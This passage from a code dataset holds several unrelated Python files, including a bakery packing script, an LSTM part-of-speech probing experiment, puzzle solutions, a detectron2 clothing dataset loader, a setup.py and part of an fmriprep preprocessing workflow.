\"MB11\" == code:\n                        pack_blueberry = [2, 5, 8]\n                        package_blueberry = self.packing(pack_blueberry, quantity)\n                        cost_blueberry = Cost().blueberry_muffin(package_blueberry)\n                        self.total_cost.append(cost_blueberry)\n                        print_bill().bill_print(quantity, code, cost_blueberry, package_blueberry)\n                    elif \"CF\" == code:\n                        pack_croissant = [3, 5, 9]\n                        package_croissant = self.packing(pack_croissant, quantity)\n                        cost_croissant = Cost().croissant(package_croissant)\n                        self.total_cost.append(cost_croissant)\n                        print_bill().bill_print(quantity, code, cost_croissant, package_croissant)\n                    else:\n                        print(\"Invalid code\")\n                        return \"Invalid code\"\n                except:\n                    print(\"Invalid quantity\")\n                    return \"Invalid quantity\"\n        return self.total_cost\n\n    def packing(self, packs, quantity):\n        \"\"\"\n\n        :param packs: Number of items that are allowed to be packed as single pack.\n        :param quantity: quantity quoted in the order.\n        :return: Minimum number of packs.\n        \"\"\"\n        result = set()  # set is used to remove the redundant combinations\n        intermediate = []\n        self.package_breakdown(packs, quantity, result, intermediate)\n        result = [list(i) for i in result]\n        package = result[0]\n        for pack in result:\n            if len(pack) < len(package):\n                package = pack\n        return package\n\n    def package_breakdown(self, packs, target, result, intermediate):\n        \"\"\"\n        Recursive function to create the combination of packs.\n        :param packs: Number of items that are allowed to be packed as single pack.\n        :param target: quantity quoted in the order.\n        :return: combination of packs that satisfies the quantity.\n        \"\"\"\n        for number in packs:\n            if target == number:\n                temp = intermediate + [number]\n                temp.sort()\n                if temp is not None:\n                    result.add(tuple(temp))\n                return\n            elif target > number:\n                self.package_breakdown(packs, target - number, result, intermediate + [number])\n            else:\n                return\n","repo_name":"aj178/Bakery","sub_path":"src/main/python/lib/Bakery.py","file_name":"Bakery.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"345490464","text":"from paths import WIKIPEDIA_HOME\nfrom paths import CHAR_VOCAB_HOME\nfrom paths import MODELS_HOME\n# POS induction: logistic classifier operating on hidden states\n\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--language\", dest=\"language\", type=str)\nparser.add_argument(\"--load-from\", dest=\"load_from\", type=str)\n#parser.add_argument(\"--load-from-baseline\", dest=\"load_from_baseline\", type=str)\n\n#parser.add_argument(\"--save-to\", dest=\"save_to\", type=str)\n\nimport random\n\nparser.add_argument(\"--batchSize\", type=int, default=16)\nparser.add_argument(\"--char_embedding_size\", type=int, default=100)\nparser.add_argument(\"--hidden_dim\", type=int, default=1024)\nparser.add_argument(\"--layer_num\", type=int, default=1)\nparser.add_argument(\"--weight_dropout_in\", type=float, default=0.01)\nparser.add_argument(\"--weight_dropout_hidden\", type=float, default=0.1)\nparser.add_argument(\"--char_dropout_prob\", type=float, default=0.33)\nparser.add_argument(\"--char_noise_prob\", type = float, default= 0.01)\nparser.add_argument(\"--learning_rate\", type = float, default= 0.1)\nparser.add_argument(\"--myID\", type=int, default=random.randint(0,1000000000))\nparser.add_argument(\"--sequence_length\", type=int, default=50)\nparser.add_argument(\"--train_size\", type=int, default=20)\n\n\n\nargs=parser.parse_args()\nprint(args)\n\n\n\n\n\nimport corpusIteratorWiki\n\n\ndef plusL(its):\n  for it in its:\n       for x in it:\n           yield x\n\ndef plus(it1, it2):\n   for x in it1:\n      yield x\n   for x in it2:\n      yield x\n\n# Open the character vocabulary\ntry:\n   with open(CHAR_VOCAB_HOME+\"/char-vocab-wiki-\"+args.language, \"r\") as inFile:\n     itos = inFile.read().strip().split(\"\\n\")\nexcept FileNotFoundError: # Create it from scratch if it doesn't exist yet\n    print(\"Creating new vocab\")\n    char_counts = {}\n    # get symbol vocabulary\n\n    with open(WIKIPEDIA_HOME+\"/\"+args.language+\"-vocab.txt\", \"r\") as inFile:\n      words = inFile.read().strip().split(\"\\n\")\n      for word in words:\n         for char in word.lower():\n            char_counts[char] = char_counts.get(char, 0) + 1\n    char_counts = [(x,y) for x, y in char_counts.items()]\n    itos = [x for x,y in sorted(char_counts, key=lambda z:(z[0],-z[1])) if y > 50]\n    with open(CHAR_VOCAB_HOME+\"/char-vocab-wiki-\"+args.language, \"w\") as outFile:\n       print(\"\\n\".join(itos), file=outFile)\n#itos = sorted(itos)\nprint(itos)\nstoi = dict([(itos[i],i) for i in range(len(itos))])\n\n\n\n\nimport random\n\n\nimport torch\n\nprint(torch.__version__)\n\nfrom weight_drop import WeightDrop\n\n# Create the language model\nrnn = torch.nn.LSTM(args.char_embedding_size, args.hidden_dim, args.layer_num).cuda()\n\nrnn_parameter_names = [name for name, _ in rnn.named_parameters()]\n\nrnn_drop = WeightDrop(rnn, [(name, args.weight_dropout_in) for name, _ in rnn.named_parameters() if name.startswith(\"weight_ih_\")] + [ (name, args.weight_dropout_hidden) for name, _ in rnn.named_parameters() if name.startswith(\"weight_hh_\")])\n\noutput = torch.nn.Linear(args.hidden_dim, len(itos)+3).cuda()\n\nchar_embeddings = torch.nn.Embedding(num_embeddings=len(itos)+3, embedding_dim=args.char_embedding_size).cuda()\n\nlogsoftmax = torch.nn.LogSoftmax(dim=2)\n\ntrain_loss = torch.nn.NLLLoss(ignore_index=0)\nprint_loss = torch.nn.NLLLoss(size_average=False, reduce=False, ignore_index=0)\nchar_dropout = torch.nn.Dropout2d(p=args.char_dropout_prob)\n\nmodules = [rnn, output, char_embeddings]\ndef parameters():\n   for module in modules:\n       for param in module.parameters():\n            yield param\n\n#optim = torch.optim.SGD(parameters(), lr=args.learning_rate, momentum=0.0) # 0.02, 0.9\n\nnamed_modules = {\"rnn\" : rnn, \"output\" : output, \"char_embeddings\" : char_embeddings} #, \"optim\" : optim}\n\nprint(\"Loading model\")\nif args.load_from is not None:\n  checkpoint = torch.load(MODELS_HOME+\"/\"+args.load_from+\".pth.tar\")\n  for name, module in named_modules.items():\n      print(checkpoint[name].keys())\n      module.load_state_dict(checkpoint[name])\nelse:\n   assert False\n\n\n\n####################################\n\n\nfrom torch.autograd import Variable\n\n\n\n# Do not do dropout here (no training will happem)\nrnn_drop.train(False)\n\nlossModule = torch.nn.NLLLoss(size_average=False, reduce=False, ignore_index=0)\n\n# Takes a string and transforms into a list of integers\ndef encodeWord(word):\n      numeric = []\n      for char in word:\n           numeric.append(stoi[char]+3 if char in stoi else 2) # 2 is the code for OOV\n      return numeric\n\n\n\n# Input: a list of words\n# Output: a list of hidden LSTM states as Numpy arrays\ndef encodeListOfWords(words):\n    numeric = [encodeWord(word) for word in words] # transforms each word into a list of integers\n    maxLength = max([len(x) for x in numeric])\n    for i in range(len(numeric)): # pad at the beginning, if necessary, so that all lists have the same length\n       numeric[i] = ([0]*(maxLength-len(numeric[i]))) + numeric[i]\n    input_tensor_forward = Variable(torch.LongTensor([[0]+x for x in numeric]).transpose(0,1).cuda(), requires_grad=False) # create a tensor from the integer lists\n    \n    input_cut = input_tensor_forward\n    embedded_forward = char_embeddings(input_cut) # run through the embedding layer\n    out_forward, hidden_forward = rnn_drop(embedded_forward, None) # run the LSTM\n    hidden = hidden_forward[0].data.cpu().numpy() # obtain the final hidden state of the LSTM\n    return [hidden[0][i] for i in range(len(words))] # return, for each input word, the corresponding final LSTM state\n\n\nimport numpy as np\n\n\n# paths of vocabularies with POS annotation\nvocabPath = {\"german\" : WIKIPEDIA_HOME+\"german-wiki-word-vocab-POS.txt\", \"italian\" : WIKIPEDIA_HOME+\"italian-wiki-word-vocab-POS.txt\"}[args.language]\n\n\n# language-specific rules for detecting verbs and nouns from the POS annotation\ndef detectVerb(pos):\n  if args.language == \"german\":\n      return pos.startswith(\"v\")\n  elif args.language == \"italian\":\n      return pos.startswith(\"ver\") \ndef detectNoun(pos):\n   if args.language == \"german\":\n      return pos.startswith(\"n\")\n   elif args.language == \"italian\":\n       return pos == \"noun\"\n\n# Select all nouns and verbs from the POS-annotated vocabularies\nnouns = []\nverbs = []\nnounsTotal = set()\nverbsTotal = set()\nincorporating = True\nwith open(vocabPath, \"r\") as inFile:\n  for line in inFile:\n    line = line.strip().split(\"\\t\")\n    pos = line[1]\n    if detectVerb(pos):\n        verbsTotal.add(line[0])\n        if incorporating:\n           verbs.append(line[0])\n    elif detectNoun(pos):\n        nounsTotal.add(line[0])\n        if incorporating:\n            nouns.append(line[0])\n    if incorporating and len(line[2]) <= 3 and int(line[2]) < 10:\n        incorporating = False\n\n# Restrict to words that only occur with one of the two POS labels\nnouns = [x for x in nouns if x not in verbsTotal]\nverbs = [x for x in verbs if x not in nounsTotal]\nprint(len(nouns))\nprint(len(verbs))\n\n# Here we define which words we consider. In the German and Italian experiments, we restricted to words with a fixed ending to rule out the most basic morphological cues.\ndef criterion(word):\n    if args.language == \"german\":\n       return word.endswith(\"en\")\n    elif args.language == \"italian\":\n       return word.endswith(\"re\")\n\nnounsInN = [x for x in nouns if criterion(x)]\nverbsInN = [x for x in verbs if criterion(x)]\n\n# How many words do we get?\nprint(len(nounsInN))\nprint(len(verbsInN))\n\nprint(nounsInN[:100])\nprint(verbsInN[:100])\n\n# How many words we consider in each run of the experiment (This is set to 500 to make each run faster. With hindsight, an alternative would have been to precompute the LSTM encodings and reuse them in every step.)\nsampleSize = 500\n\naccuracies = []\nfor _ in range(100): # do 100 runs of the experiment\n\n  # randomly select a subset\n  random.shuffle(nounsInN)\n  random.shuffle(verbsInN)\n  nounsInNSelected = nounsInN[:sampleSize]# len(verbsInN)]\n  verbsInNSelected = verbsInN[:sampleSize] #len(verbsInN)]\n  \n  # collect the hidden states for all selected words\n  encodedNounsInN = encodeListOfWords([x for x in nounsInNSelected])\n  encodedVerbsInN = encodeListOfWords([x for x in verbsInNSelected])\n  \n  # predictor and dependent variable for logistic regression\n  predictors = encodedNounsInN + encodedVerbsInN\n  dependent = [0 for _ in encodedNounsInN] + [1 for _ in encodedVerbsInN]\n  \n  # split into training and test partition\n  from sklearn.model_selection import train_test_split\n  x_train_nouns, x_test_nouns, y_train_nouns, y_test_nouns = train_test_split(encodedNounsInN, [0 for _ in encodedNounsInN], test_size=1-args.train_size/sampleSize, shuffle=True)\n  x_train_verbs, x_test_verbs, y_train_verbs, y_test_verbs = train_test_split(encodedVerbsInN, [1 for _ in encodedVerbsInN], test_size=1-args.train_size/sampleSize, shuffle=True)\n\n  x_train = x_train_nouns + x_train_verbs\n  y_train = y_train_nouns + y_train_verbs\n  x_test = x_test_nouns + x_test_verbs\n  y_test = y_test_nouns + y_test_verbs\n\n\n  # Train the logistic regression\n  from sklearn.linear_model import LogisticRegression\n  print(\"regression\")\n  logisticRegr = LogisticRegression()\n  logisticRegr.fit(x_train, y_train)\n  score = logisticRegr.score(x_test, y_test)\n  print(score)\n  accuracies.append(score)\n\n# Compute average, standard deviation, and 0.05/0.95 quantiles of accuracy.\nprint(\"--\")\n\nprint(sum(accuracies)/100)\n\nmeanAccuracy = sum(accuracies)/100\nmeanSquaredAccuracy = sum([x**2 for x in accuracies])/100\nimport math\nstandardDeviation = math.sqrt(meanSquaredAccuracy - meanAccuracy**2)\n\nprint(standardDeviation)\n\n\naccuracies = sorted(accuracies)\n\nquantile_lower = accuracies[int(0.05 * 100)]\nquantile_upper = accuracies[int(0.95 * 100)]\n\nprint((quantile_lower, quantile_upper))\n\nwith open(f\"/checkpoint/mhahn/pos/{__file__}_\"+args.language+\"_\"+str(args.train_size)+\"_\"+args.load_from, \"w\") as outFile:\n   print(args.language, file=outFile)\n   print(args.train_size, file=outFile)\n   print(args.load_from, file=outFile)\n   print(sum(accuracies)/100, file=outFile)  \n   print(standardDeviation)\n   print(quantile_lower)\n   print(quantile_upper)\n\n\n","repo_name":"m-hahn/tabula-rasa-rnns","sub_path":"4.1_morphology/word_classes/char-lm-ud-stationary-separate-bidir-with-spaces-probe-baseline-prediction-wiki-forms-newtests-POS.py","file_name":"char-lm-ud-stationary-separate-bidir-with-spaces-probe-baseline-prediction-wiki-forms-newtests-POS.py","file_ext":"py","file_size_in_byte":10040,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"12407942902","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\n\r\ndef solution(forms):\r\n    last = forms[0]\r\n    \r\n    if last == \"c\":\r\n        answer = 26\r\n    else:\r\n        answer = 10\r\n        \r\n    for i in range(1, len(forms)):\r\n        cur = forms[i]\r\n        if last == \"c\" and cur == \"c\":\r\n            answer *= 25\r\n        elif last == \"c\" and cur == \"d\":\r\n            answer *= 10\r\n        elif last == \"d\" and cur == \"d\":\r\n            answer *= 9\r\n        else:\r\n            answer *= 26\r\n        last = cur\r\n    return answer\r\n            \r\n\r\nf = input().strip()\r\n\r\nprint(solution(f))\r\n","repo_name":"alstjrdlzz/BOJ","sub_path":"백준/Bronze/16968. 차량 번호판 1/차량 번호판 1.py","file_name":"차량 번호판 1.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"12201738171","text":"with open('input.txt') as f:\n  raw_input = f.read()\n\nlines = [int(x) for x in raw_input.split('\\n')]\np = 25\n\ndef part1():\n  # Took a second to remember that slices are inclusive to exclusive indices\n  for i in range(p, len(lines)):\n    found = False\n    for j in range(i-p, i-1):\n      if lines[i] - lines[j] in lines[i-p:i]:\n        found = True\n        continue\n    if not found:\n      print(lines[i])\n      exit()\n\ndef part2():\n  v = 2089807806\n  for i in range(len(lines)):\n    total = lines[i]\n    for j in range(i+1, len(lines)):\n      total += lines[j]\n      if total == v:\n        print(i, j, lines[i:j+1])\n        print(min(lines[i:j+1]) + max(lines[i:j+1]))\n        exit()\n      if total > v:\n        break\n\n#part1()\npart2()","repo_name":"hairylunch/adventofcode2020","sub_path":"09/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70277332532","text":"import os\nfrom os.path import sep, join\nimport json\nfrom tqdm import tqdm\n\nimport cv2\nimport imagesize\nfrom detectron2.structures import BoxMode\nfrom detectron2.data import DatasetCatalog, MetadataCatalog\n\nfrom logger import create_folder\n\nDEBUG = False\n\ndef pjoin(*args, **kwargs):\n    return join(*args, **kwargs).replace(sep, '/')\n\nlabel2cat = {\n    '短袖上衣': 0,\n    '长袖上衣': 1,\n    '短袖衬衫': 2,\n    '长袖衬衫': 3,\n    '背心上衣': 4,\n    '吊带上衣': 5,\n    '无袖上衣': 6,\n    '短外套': 7,\n    '短马甲': 8,\n    '长袖连衣裙':  9,\n    '短袖连衣裙': 10,\n    '无袖连衣裙': 11,\n    '长马甲': 12,\n    '长外套': 13,\n    '连体衣': 14,\n    '古风': 15,\n    '古装': 15,\n    '短裙': 16,\n    '中等半身裙': 17,\n    '长半身裙': 18,\n    '短裤': 19,\n    '中裤': 20,\n    '长裤': 21,\n    '背带裤': 22\n}\n\n# thing_cls = ['短袖上衣', '长袖上衣', '短袖衬衫', '长袖衬衫', '背心上衣', '吊带上衣', '无袖上衣', '短外套', '短马甲', '长袖连衣裙', '短袖连衣裙', '无袖连衣裙', '长马甲', '长外套', '连体衣', '古风', '短裙', '中等半身裙', '长半身裙', '短裤', '中裤', '长裤', '背带裤']\nthing_cls = ['clothes']\n\ndef get_item_dicts_img(input_dir, item_id):\n    image_dir = pjoin(input_dir, 'image', item_id)\n    \n    json_dir = pjoin(input_dir, 'image_annotation', item_id)\n    json_list = os.listdir(json_dir)\n    \n    result = []\n    for j in json_list:\n        with open(pjoin(json_dir, j)) as f:\n            d = json.load(f)\n        \n        image_dict = {}\n        image_dict['file_name'] = pjoin(image_dir, d['img_name'])\n        w, h = imagesize.get(image_dict['file_name'])\n        image_dict['height'] = h\n        image_dict['width'] = w\n        image_dict['image_id'] = d['item_id'] + '_' + d['img_name']\n        image_dict['type'] = 'image'\n        \n        annotations = []\n        for instance in d['annotations']:\n            annotations.append({\n                'bbox': instance['box'],\n                'bbox_mode': BoxMode.XYXY_ABS,\n#                 'category_id': label2cat[instance['label']]\n                'category_id': 0 # just detect clothes\n            })\n        image_dict['annotations'] = annotations\n        result.append(image_dict)\n    return result\n\n\ndef get_item_dicts_vid(input_dir, item_id):\n    image_dir = pjoin(input_dir, 'video', item_id+'.mp4')\n    json_dir = pjoin(input_dir, 'video_annotation', item_id+'.json')\n    \n    with open(json_dir) as f:\n        d = json.load(f)\n\n    capture = cv2.VideoCapture(image_dir)\n    w = int(capture.get(cv2.CAP_PROP_FRAME_WIDTH))\n    h = int(capture.get(cv2.CAP_PROP_FRAME_HEIGHT))\n\n    result = []\n    for j in d['frames']:\n        \n        image_dict = {}\n        image_dict['file_name'] = image_dir\n        image_dict['height'] = h\n        image_dict['width'] = w\n        image_dict['image_id'] = d['video_id'] + '_' + str(j['frame_index'])\n        image_dict['frame'] = j['frame_index']\n        image_dict['type'] = 'video'\n        \n        annotations = []\n        for instance in j['annotations']:\n            annotations.append({\n                'bbox': instance['box'],\n                'bbox_mode': BoxMode.XYXY_ABS,\n#                 'category_id': label2cat[instance['label']]\n                'category_id': 0 # just detect clothes\n            })\n        image_dict['annotations'] = annotations\n        result.append(image_dict)\n    return result\n\n\ndef get_dicts(input_dir, type, n_items=None):\n    if type == 'image':\n        func = get_item_dicts_img\n    elif type == 'video':\n    \tfunc = get_item_dicts_vid\n\n    item_id_list = os.listdir(pjoin(input_dir, 'image_annotation'))\n    if n_items is not None:\n    \titem_id_list = item_id_list[:n_items]\n    \n    result = []\n    for item_id in tqdm(item_id_list):\n        result += func(input_dir, item_id)\n    \n    return result\n\ndef get_dicts_train_all_img():\n    result = \\\n        get_dicts('/tcdata_train/train_dataset_part1', 'image') + \\\n        get_dicts('/tcdata_train/train_dataset_part2', 'image') + \\\n        get_dicts('/tcdata_train/train_dataset_part3', 'image') + \\\n        get_dicts('/tcdata_train/train_dataset_part4', 'image') + \\\n        get_dicts('/tcdata_train/train_dataset_part5', 'image')\n    return result\n\ndef get_dicts_train_all_vid():\n    result = \\\n        get_dicts('/tcdata_train/train_dataset_part1', 'video') + \\\n        get_dicts('/tcdata_train/train_dataset_part2', 'video') + \\\n        get_dicts('/tcdata_train/train_dataset_part3', 'video') + \\\n        get_dicts('/tcdata_train/train_dataset_part4', 'video') + \\\n        get_dicts('/tcdata_train/train_dataset_part5', 'video')\n    return result\n\ndef get_dicts_train_all():\n    return get_dicts_train_all_img() + get_dicts_train_all_vid()\n\ndef get_dicts_val_all_img():\n    result = \\\n        get_dicts('/tcdata_train/validation_dataset_part1', 'image') + \\\n        get_dicts('/tcdata_train/validation_dataset_part2', 'image')\n    return result\n\ndef get_dicts_val_all_vid():\n    result = \\\n        get_dicts('/tcdata_train/validation_dataset_part1', 'video') + \\\n        get_dicts('/tcdata_train/validation_dataset_part2', 'video')\n    return result\n\ndef get_dicts_train_mini_img():\n    return get_dicts('/tcdata_train/train_dataset_part1', 'image', n_items=200)\n\ndef get_dicts_train_mini_vid():\n    return get_dicts('/tcdata_train/train_dataset_part1', 'video', n_items=100)\n\ndef get_dicts_train_mini():\n    return get_dicts_train_mini_img() + get_dicts_train_mini_vid()\n\ndef get_dicts_val_mini_img():\n    return get_dicts('/tcdata_train/validation_dataset_part1', 'image', n_items=200)\n\ndef get_dicts_val_mini_vid():\n    return get_dicts('/tcdata_train/validation_dataset_part1', 'video', n_items=100)\n\nif DEBUG:\n    DatasetCatalog.register('taobao_train_mini', get_dicts_train_mini)\n    DatasetCatalog.register('taobao_val_mini_img', get_dicts_val_mini_img)\n    DatasetCatalog.register('taobao_val_mini_vid', get_dicts_val_mini_vid)\n\n    MetadataCatalog.get('taobao_train_mini').set(thing_classes=thing_cls)\n    MetadataCatalog.get('taobao_val_mini_img').set(thing_classes=thing_cls)\n    MetadataCatalog.get('taobao_val_mini_vid').set(thing_classes=thing_cls)\nelse:\n    DatasetCatalog.register('taobao_train_all', get_dicts_train_all)\n    DatasetCatalog.register('taobao_val_mini_img', get_dicts_val_mini_img)\n    DatasetCatalog.register('taobao_val_mini_vid', get_dicts_val_mini_vid)\n\n    MetadataCatalog.get('taobao_train_all').set(thing_classes=thing_cls)\n    MetadataCatalog.get('taobao_val_mini_img').set(thing_classes=thing_cls)\n    MetadataCatalog.get('taobao_val_mini_vid').set(thing_classes=thing_cls)\n\ndef main():\n    taobao_train_img = get_dicts_train_all_img()\n    taobao_train_vid = get_dicts_train_all_vid()\n\n    taobao_val_img = get_dicts_val_all_img()\n    taobao_val_vid = get_dicts_val_all_vid()\n\n    create_folder('/myspace/input')\n\n    with open('/myspace/input/taobao_train_img.json', 'w') as f:\n        json.dump(taobao_train_img, f)\n\n    with open('/myspace/input/taobao_val_img.json', 'w') as f:\n        json.dump(taobao_val_img, f)\n\n    with open('/myspace/input/taobao_train_vid.json', 'w') as f:\n        json.dump(taobao_train_vid, f)\n\n    with open('/myspace/input/taobao_val_vid.json', 'w') as f:\n        json.dump(taobao_val_vid, f)\n\nif __name__ == \"__main__\":\n    main()","repo_name":"jihang-zhang/Tianchi-Taobao-clothes-retrieval","sub_path":"bbox_sub/src_train/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7357,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"21"}
+{"seq_id":"1312620956","text":"#!/usr/bin/env python\r\nfrom os.path import dirname, join\r\ntry:\r\n    from setuptools import setup\r\nexcept ImportError:\r\n    from distutils.core import setup\r\n\r\ncurr_dir = dirname(__file__)\r\n\r\nimport reclaimer\r\n\r\ntry:\r\n    try:\r\n        long_desc = open(join(curr_dir, \"readme.rst\")).read()\r\n    except Exception:\r\n        long_desc = \"Since PyPI refuses to let me upload due to my readme being Markdown, I wont be using a readme.\"\r\n        #long_desc = open(join(curr_dir, \"readme.md\")).read()\r\nexcept Exception:\r\n    long_desc = 'Could not read long description from readme.'\r\n\r\n\r\nsetup(\r\n    name='reclaimer',\r\n    description='A libray of SupyrStruct structures and objects for \\\r\ngames built with the Blam engine',\r\n    long_description=long_desc,\r\n    version='%s.%s.%s' % reclaimer.__version__,\r\n    url='https://bitbucket.org/Moses_of_Egypt/reclaimer',\r\n    author='Devin Bobadilla',\r\n    author_email='MosesBobadilla@gmail.com',\r\n    license='MIT',\r\n    packages=[\r\n        'reclaimer',\r\n        'reclaimer.animation',\r\n        'reclaimer.bitmaps',\r\n        'reclaimer.h2',\r\n        'reclaimer.h2.defs',\r\n        'reclaimer.h2.defs.objs',\r\n        'reclaimer.h3',\r\n        'reclaimer.h3.defs',\r\n        'reclaimer.h3.defs.objs',\r\n        'reclaimer.halo_script',\r\n        'reclaimer.hek',\r\n        'reclaimer.hek.defs',\r\n        'reclaimer.hek.defs.objs',\r\n        'reclaimer.meta',\r\n        'reclaimer.meta.gen3_resources',\r\n        'reclaimer.meta.objs',\r\n        'reclaimer.meta.wrappers',\r\n        'reclaimer.model',\r\n        'reclaimer.misc',\r\n        'reclaimer.misc.defs',\r\n        'reclaimer.misc.defs.objs',\r\n        'reclaimer.os_hek',\r\n        'reclaimer.os_hek.defs',\r\n        'reclaimer.os_hek.defs.objs',\r\n        'reclaimer.os_v3_hek',\r\n        'reclaimer.os_v3_hek.defs',\r\n        'reclaimer.os_v4_hek',\r\n        'reclaimer.os_v4_hek.defs',\r\n        'reclaimer.physics',\r\n        'reclaimer.sounds',\r\n        'reclaimer.shadowrun_prototype',\r\n        'reclaimer.shadowrun_prototype.defs',\r\n        'reclaimer.strings',\r\n        'reclaimer.stubbs',\r\n        'reclaimer.stubbs.defs',\r\n        'reclaimer.stubbs.defs.objs',\r\n        'reclaimer.util',\r\n        ],\r\n    package_data={\r\n        '': ['*.txt', '*.md', '*.rst',\r\n             '**/p8_palette_halo',   '**/p8_palette_halo_diff_map',\r\n             '**/p8_palette_stubbs', '**/p8_palette_stubbs_diff_map'],\r\n        },\r\n    platforms=[\"POSIX\", \"Windows\"],\r\n    keywords=\"reclaimer, halo\",\r\n    # arbytmap can be removed from the dependencies if you cannot install\r\n    # it for some reason, though it will prevent certain things from working.\r\n    install_requires=['supyr_struct', 'binilla', 'arbytmap'],\r\n    requires=['supyr_struct', 'binilla', 'arbytmap'],\r\n    provides=['reclaimer'],\r\n    classifiers=[\r\n        \"Development Status :: 4 - Beta\",\r\n        \"Intended Audience :: Developers\",\r\n        \"License :: OSI Approved :: MIT License\",\r\n        \"Programming Language :: Python\",\r\n        \"Programming Language :: Python :: 3\",\r\n        ],\r\n    zip_safe=False,\r\n    )\r\n","repo_name":"holy-crust/reclaimer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":3056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"8909078646","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\"\"\"\nPreprocessing workflows for :abbr:`SB (single-band)`-reference (SBRef)\nimages.\n\nOriginally coded by Craig Moodie. Refactored by the CRN Developers.\n\"\"\"\n\nimport os\nimport os.path as op\n\nfrom nipype.pipeline import engine as pe\nfrom nipype.interfaces import io as nio\nfrom nipype.interfaces import utility as niu\nfrom nipype.interfaces import fsl, c3\nfrom nipype.interfaces import ants\nfrom niworkflows.interfaces.masks import ComputeEPIMask\nfrom niworkflows.interfaces.registration import FLIRTRPT\n\nfrom fmriprep.utils.misc import _first, gen_list\nfrom fmriprep.interfaces.utils import reorient\nfrom fmriprep.interfaces import (ReadSidecarJSON, IntraModalMerge,\n                                 DerivativesDataSink)\nfrom fmriprep.workflows.fieldmap import sdc_unwarp\nfrom fmriprep.viz import stripped_brain_overlay\n\n\ndef sbref_preprocess(name='SBrefPreprocessing', settings=None):\n    \"\"\"SBref processing workflow\"\"\"\n\n    workflow = pe.Workflow(name=name)\n    inputnode = pe.Node(\n        niu.IdentityInterface(\n            fields=['sbref', 'fmap', 'fmap_ref', 'fmap_mask']\n        ),\n        name='inputnode'\n    )\n    outputnode = pe.Node(niu.IdentityInterface(fields=['sbref_unwarped', 'sbref_unwarped_mask']),\n                         name='outputnode')\n    # Unwarping\n    unwarp = sdc_unwarp()\n    unwarp.inputs.inputnode.hmc_movpar = ''\n\n    mean = pe.Node(fsl.MeanImage(dimension='T'), name='SBRefMean')\n    inu = pe.Node(ants.N4BiasFieldCorrection(dimension=3), name='SBRefBias')\n    skullstripping = pe.Node(ComputeEPIMask(generate_report=True,\n                                            dilation=1), name='SBRefSkullstripping')\n\n    ds_report = pe.Node(\n        DerivativesDataSink(base_directory=settings['output_dir'],\n                            suffix='sbref_bet', out_path_base='reports'),\n        name='DS_Report'\n    )\n\n    workflow.connect([\n        (inputnode, unwarp, [('fmap', 'inputnode.fmap'),\n                             ('fmap_ref', 'inputnode.fmap_ref'),\n                             ('fmap_mask', 'inputnode.fmap_mask')]),\n        (inputnode, unwarp, [('sbref', 'inputnode.in_file')]),\n        (unwarp, mean, [('outputnode.out_file', 'in_file')]),\n        (mean, inu, [('out_file', 'input_image')]),\n        (inu, skullstripping, [('output_image', 'in_file')]),\n        (skullstripping, ds_report, [('out_report', 'in_file')]),\n        (inputnode, ds_report, [(('sbref', _first), 'source_file')]),\n        (skullstripping, outputnode, [('mask_file', 'sbref_unwarped_mask')]),\n        (inu, outputnode, [('output_image', 'sbref_unwarped')])\n    ])\n\n    datasink = pe.Node(\n        DerivativesDataSink(base_directory=settings['output_dir'],\n                            suffix='sdc'),\n        name='datasink'\n    )\n\n    workflow.connect([\n        (inputnode, datasink, [(('sbref', _first), 'source_file')]),\n        (inu, datasink, [('output_image', 'in_file')])\n    ])\n    return workflow\n\n\ndef _extract_wm(in_file):\n    import os.path as op\n    import nibabel as nb\n    import numpy as np\n\n    image = nb.load(in_file)\n    data = image.get_data().astype(np.uint8)\n    data[data != 3] = 0\n    data[data > 0] = 1\n\n    out_file = op.abspath('wm_mask.nii.gz')\n    nb.Nifti1Image(data, image.get_affine(), image.get_header()).to_filename(out_file)\n    return out_file\n\n###################################\n# Deprecated code\n###################################\n\n\ndef sbref_workflow_deprecated(name='SBrefPreprocessing', settings=None):\n    \"\"\"Legacy SBref processing workflow\"\"\"\n    if settings is None:\n        settings = {}\n\n    workflow = pe.Workflow(name=name)\n    inputnode = pe.Node(\n        niu.IdentityInterface(\n            fields=['sbref', 'mag_brain', 'fmap_scaled', 'fmap_mask',\n                    'fmap_unmasked', 'in_topup', 't1', 't1_brain', 't1_seg']\n        ),\n        name='inputnode'\n    )\n    outputnode = pe.Node(\n        niu.IdentityInterface(\n            fields=['sbref_unwarped', 'sbref_fmap', 'mag2sbref_matrix',\n                    'sbref_brain', 'sbref_brain_corrected', 't1_brain',\n                    'wm_seg', 'sbref_2_t1_transform']\n        ),\n        name='outputnode'\n    )\n\n    #  Skull strip SBRef to get reference brain\n    sbref_bet = pe.Node(\n        BETRPT(generate_report=True, mask=True, functional=True, frac=0.6), name=\"sbref_bet\")\n\n    #  Unwarp SBRef using Fugue  (N.B. duplicated in epi_reg_workflow!!!!!)\n    fugue_sbref = pe.Node(\n        fsl.FUGUE(unwarp_direction='x', dwell_time=dwell_time),\n        name=\"SBRef_Unwarping\"\n    )\n\n    strip_corrected_sbref = pe.Node(BETRPT(mask=True, frac=0.6, robust=True),\n                                    name=\"BET_Corrected_SBRef\")\n\n    flt_sbref_brain_t1_brain = pe.Node(\n        fsl.FLIRT(dof=6, bins=640, cost_func='mutualinfo'),\n        name='sbref_brain_2_t1_brain_affine_transform'\n    )\n\n    flt_sbref_2_t1 = pe.Node(\n        fsl.FLIRT(dof=6, bins=640, cost_func='mutualinfo'),\n        name='sbref_2_t1_affine_transform'\n    